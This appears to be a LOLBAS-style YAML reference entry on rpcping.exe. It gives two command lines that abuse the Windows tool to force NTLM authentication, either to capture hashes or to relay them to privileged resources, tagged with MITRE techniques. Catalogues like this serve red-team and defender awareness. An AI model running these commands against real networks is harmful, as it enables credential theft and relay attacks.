--- Name: Rpcping.exe Description: Used to verify rpc connection Author: 'Oddvar Moe' Created: 2018-05-25 Commands: - Command: rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM Description: Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. Usecase: Capture credentials on a non-standard port Category: Credentials Privileges: User MitreID: T1003 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - Command: rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM Description: Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set). Usecase: Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port Category: Credentials Privileges: User MitreID: T1187 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 Full_Path: - Path: C:\Windows\System32\rpcping.exe - Path: C:\Windows\SysWOW64\rpcping.exe Code_Sample: - Code: Detection: - IOC: Resources: - Link: https://github.com/vysec/RedTips - Link: https://twitter.com/vysecurity/status/974806438316072960 - Link: https://twitter.com/vysecurity/status/873181705024266241 - Link: https://twitter.com/splinter_code/status/1421144623678988298 Acknowledgement: - Person: Casey Smith Handle: '@subtee' - Person: Vincent Yiu Handle: '@vysecurity' - Person: Antonio Cocomazzi Handle: '@splinter_code' - Person: ap Handle: '@decoder_it' ---